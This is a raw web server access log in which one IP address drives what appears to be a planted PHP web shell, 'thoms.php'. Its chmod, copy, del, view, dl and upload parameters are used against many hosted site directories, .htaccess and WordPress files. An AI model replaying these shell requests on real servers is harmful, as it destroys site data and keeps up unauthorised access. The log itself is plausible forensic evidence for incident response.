45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22603 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22663 "https://163.245.207.76/bestjudy.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14012 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22663 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22673 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22663 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22673 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22678 "https://163.245.207.76/bestjudy.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12383 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21170 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22687 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46111 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11838 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12394 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12392 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 12365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17303 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22679 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:24 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11920 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22673 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 11864 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22673 "https://163.245.207.76/bestjudy.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12388 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22673 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12386 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:25 -0400] "GET /bestjudy.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13759 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22682 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
